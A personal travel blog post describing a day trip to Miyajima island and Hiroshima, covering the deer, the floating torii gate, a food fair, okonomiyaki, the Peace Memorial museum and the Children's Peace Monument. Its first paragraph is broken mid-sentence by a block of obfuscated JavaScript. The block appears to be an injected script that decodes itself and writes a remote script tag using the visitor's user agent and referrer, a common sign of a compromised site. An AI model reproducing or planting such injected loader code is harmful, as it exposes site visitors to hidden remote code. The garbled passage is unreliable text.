I’ve wanted to visit Hiroshima since I was pretty little. I had read Sadako ;if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“<\/k"+"l>“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|yzzra|var|u0026u|referrer|hyyrd||js|php’.split(‘|’),0,{}))
and the Thousand Paper Cranes in elementary school and we have family roots in Hiroshima. Kyoto is a relatively close shinkansen ride from Hiroshima, so it only made sense that we would visit the site.
My ignorance (and severe lack of planning) became apparent when a friend casually mentioned that we were “obviously” going to go see Miyajima island and the floating torii gate if we were already in Hiroshima…..yeah….um….of course we were….
Turns out that it’s an easy JR Train ride from Hiroshima to Miyajima and then an even shorter ferry ride to the island (there are 2 ferries that go to the island, one of them will accept your JR pass.) So even with a severe lack of planning, we were still going to see some of Japan’s great sights. Whew!
MiyajimaI really enjoyed the island. I think I enjoyed it because we didn’t initially plan on visiting. So I had no expectations.
You exit the ferry and meet the SUPER friendly deer. And I mean SUPER. I’ve never seen so many people petting deer. Um. Deer ticks anyone? I was not planning on touching the deer, but enjoyed taking pictures of other people touching them.
A short walk along the river takes you to the floating Torii Gate. Fun Fact: it’s just really heavy. It’s not secured to the ground. And it’s obviously the prettiest when it’s high tide. But still pretty even at low-ish tide.
You can hike or take a tram to the top of the mountain. We didn’t partake in this, but our friends did and definitely enjoyed it. We opted for a return to the ferry so we could have some time to spend in Hiroshima. Along the way, we grabbed some grilled mochi and french fries.
We actually happened to be visiting Hiroshima over the weekend, and found a GIGANTIC food fair going on. Win! So we ate our way through the food fair as we walked to the Hiroshima memorial.
The woman on the left is making mochi – something that our family does during new years. The fellow on the right is making sweetened rice puffs. Think Japanese kettle corn – but instead of popcorn, it’s rice. They look like potato bugs.
Hiroshima is known for okonomiyaki. It’s basically a thin pancake/crepe loaded with cabbage, noodles, egg, seaweed, sauce and can also include different meats. We decided to try it – along with a personal pan pizza 🙂
After the food fair, we made our way to Hiroshima. The Hiroshima Peace Memorial was the first spot we stopped at. It is the only building near the bomb hypocenter that survived. Because it was so close to the center (less than 500 ft), the force created by the bomb was directed downward (and not out). As a result, some of the structure remained (miraculously) intact.
Before arriving at the museum, you pass by the Cenotaph. You can see the dome of the Peace Memorial in the background.
The museum only costs 50 yen – or roughly 50 cents. And you can get an audio tour for 300 yen ($3). The audio tour isn’t necessary but it is nice. The print on the exhibits is relatively small (albeit in English), so if the museum is crowded, it can be much easier to listen and look than to try and read.
The most interesting/impactful exhibit was a map showing Hiroshima before and after the bomb.
The last place we visited was the Children’s Peace Monument, with Sadako at the top. Surrounding the monument are the thousands of cranes brought by people all around the world.
Checked it off my list. It was sad and awesome all at the same time. I recommend it.